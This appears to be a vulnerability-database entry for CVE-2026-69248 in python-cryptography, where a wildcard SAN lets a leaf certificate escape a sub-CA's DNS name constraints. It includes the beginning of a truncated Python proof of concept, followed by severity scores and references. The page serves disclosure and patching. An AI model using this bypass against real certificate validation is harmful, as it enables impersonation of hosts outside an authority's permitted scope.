cryptography is a package designed to expose cryptographic primitives and recipes to Python developers.
CVE-2026-69248
Summary If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of .example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names. PoC !/usr/bin/env python3 """Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN. Setup: Sub-CA permitted constraint: dNSName = foo.example.com Leaf SAN: dNSName = .example.com Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics). Observed: pyca accepts; further, asks server-verifier whether the leaf is authoritative for bar.example.com and pyca answers yes — a sub-CA scope escape. """ import datetime from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.x509.verification import ( PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError, ) now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc) day = datetime.timedelta(days=1) def build(subject, issuer, key, issuerkey, ca, exts=()): b = (x509.CertificateBuilder()…
Assessment
- CVSS
- 6.9 (v4.0)
- Severity
- Medium
- EPSS
- 0.24% chance of exploitation in the next 30 days
- Known exploited
- Not listed in CISA KEV
- Exploit availability
- Nothing found in Exploit-DB, Metasploit, Nuclei or public PoC repositories
- Published
- 3 August 2026
- Last updated
- 23 October 2026
- Affected
- pyca · cryptography · cryptography
- Weakness
- CWE-295
- Assigner
- security-advisories@github.com
CVSS vectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
At the source
References
- https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2
- https://github.com/pyca/cryptography/pull/14888
- https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c
- https://nvd.nist.gov/vuln/detail/CVE-2026-69248
- https://github.com/pyca/cryptography/commit/286c89128
- https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml
- https://github.com/advisories/GHSA-m2h6-j472-rp4c
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